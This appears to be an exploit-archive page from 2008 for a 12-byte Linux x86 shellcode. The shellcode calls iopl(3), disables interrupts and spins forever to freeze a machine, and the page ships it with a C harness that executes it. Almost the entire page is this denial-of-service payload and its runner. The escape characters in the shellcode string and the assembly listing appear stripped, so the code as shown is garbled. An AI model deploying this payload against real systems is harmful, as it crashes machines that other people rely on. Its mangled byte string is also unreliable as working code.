[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 iopl(3); asm(cli); while(1){} 12 bytes
# Published : 2008-09-17
# Author : dun
# Previous Title : freebsd/x86 setreuid, execve(pfctl -d) 56 bytes
# Next Title : freebsd/x86 connect back.send.exit /etc/passwd 112 bytes


/*
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

 	[ dun[at]strcpy.pl ]
  
 [ linux/x86 iopl(3); asm("cli"); while(1){} 12 bytes ]
 
 ###############################################################
   iopl(3); asm("cli"); while(1){}
   // * this code cause freezeing system
 #################################################################
 
 __asm__(
	"xorl %eax, %eaxn"
	"pushl $0x3n"
	"popl %ebxn"
	"movb $0x6e,%aln"
	"int $0x80n"
	"clin"
	"x1:n"
	"jmp x1n"
 );

*/


char shellcode[]="x31xc0x6ax03x5bxb0x6excdx80xfaxebxfe";

int main() {

	void (*sc)();
	sc = (void *)&shellcode;
	sc();
	
return 0;
}

// www.Syue.com [2008-09-17]